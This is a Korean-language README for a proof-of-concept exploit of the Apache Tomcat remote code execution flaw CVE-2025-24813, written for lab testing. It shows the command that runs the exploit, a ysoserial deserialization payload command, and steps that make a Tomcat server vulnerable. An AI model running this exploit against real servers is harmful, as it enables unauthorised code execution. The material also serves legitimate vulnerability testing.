
CVE-2025-24813 Apache Tomcat RCE 개념 증명 (PoC)
CVE-2025-24813을 위한 PoC, Apache Tomcat의 원격 코드 실행(RCE) 취약점입니다.
중요: 이 PoC는 자신의 환경을 테스트하거나 교육 목적으로만 사용해야 합니다. 승인되지 않은 시스템을 익스플로잇하는 데 이 PoC를 사용하는 것은 금지되어 있으며 불법일 수 있습니다. 이 PoC의 제작자와 배포자는 오용이나 손해에 대해 책임을 지지 않습니다. 소유하지 않은 환경을 테스트하기 전에 항상 명시적 허가를 받으십시오.
python3 CVE-2025-24813.py --url <target_url>
코드에는 이미 ysoserial(https://github.com/frohoff/ysoserial)로 생성된 base64 인코딩 페이로드가 포함되어 있으며, /tmp에 RCE-success 파일을 생성합니다:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
PUT / 쓰기 액세스 활성화
$CATALINA_HOME/conf/web.xml을 편집하여 default 서블릿 이름 섹션 아래에 readonly 매개변수를 추가하고 false로 설정합니다.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
세션 영속성 활성화
$CATALINA_HOME/conf/context.xml을 편집하고 다음 설정을 추가합니다. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp를 편집하고 세션 기본 설정이 "false"가 아닌지 확인하거나 간단히 제거합니다. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
또는
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
$CATALINA_HOME/lib/에 의존성 다운로드
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409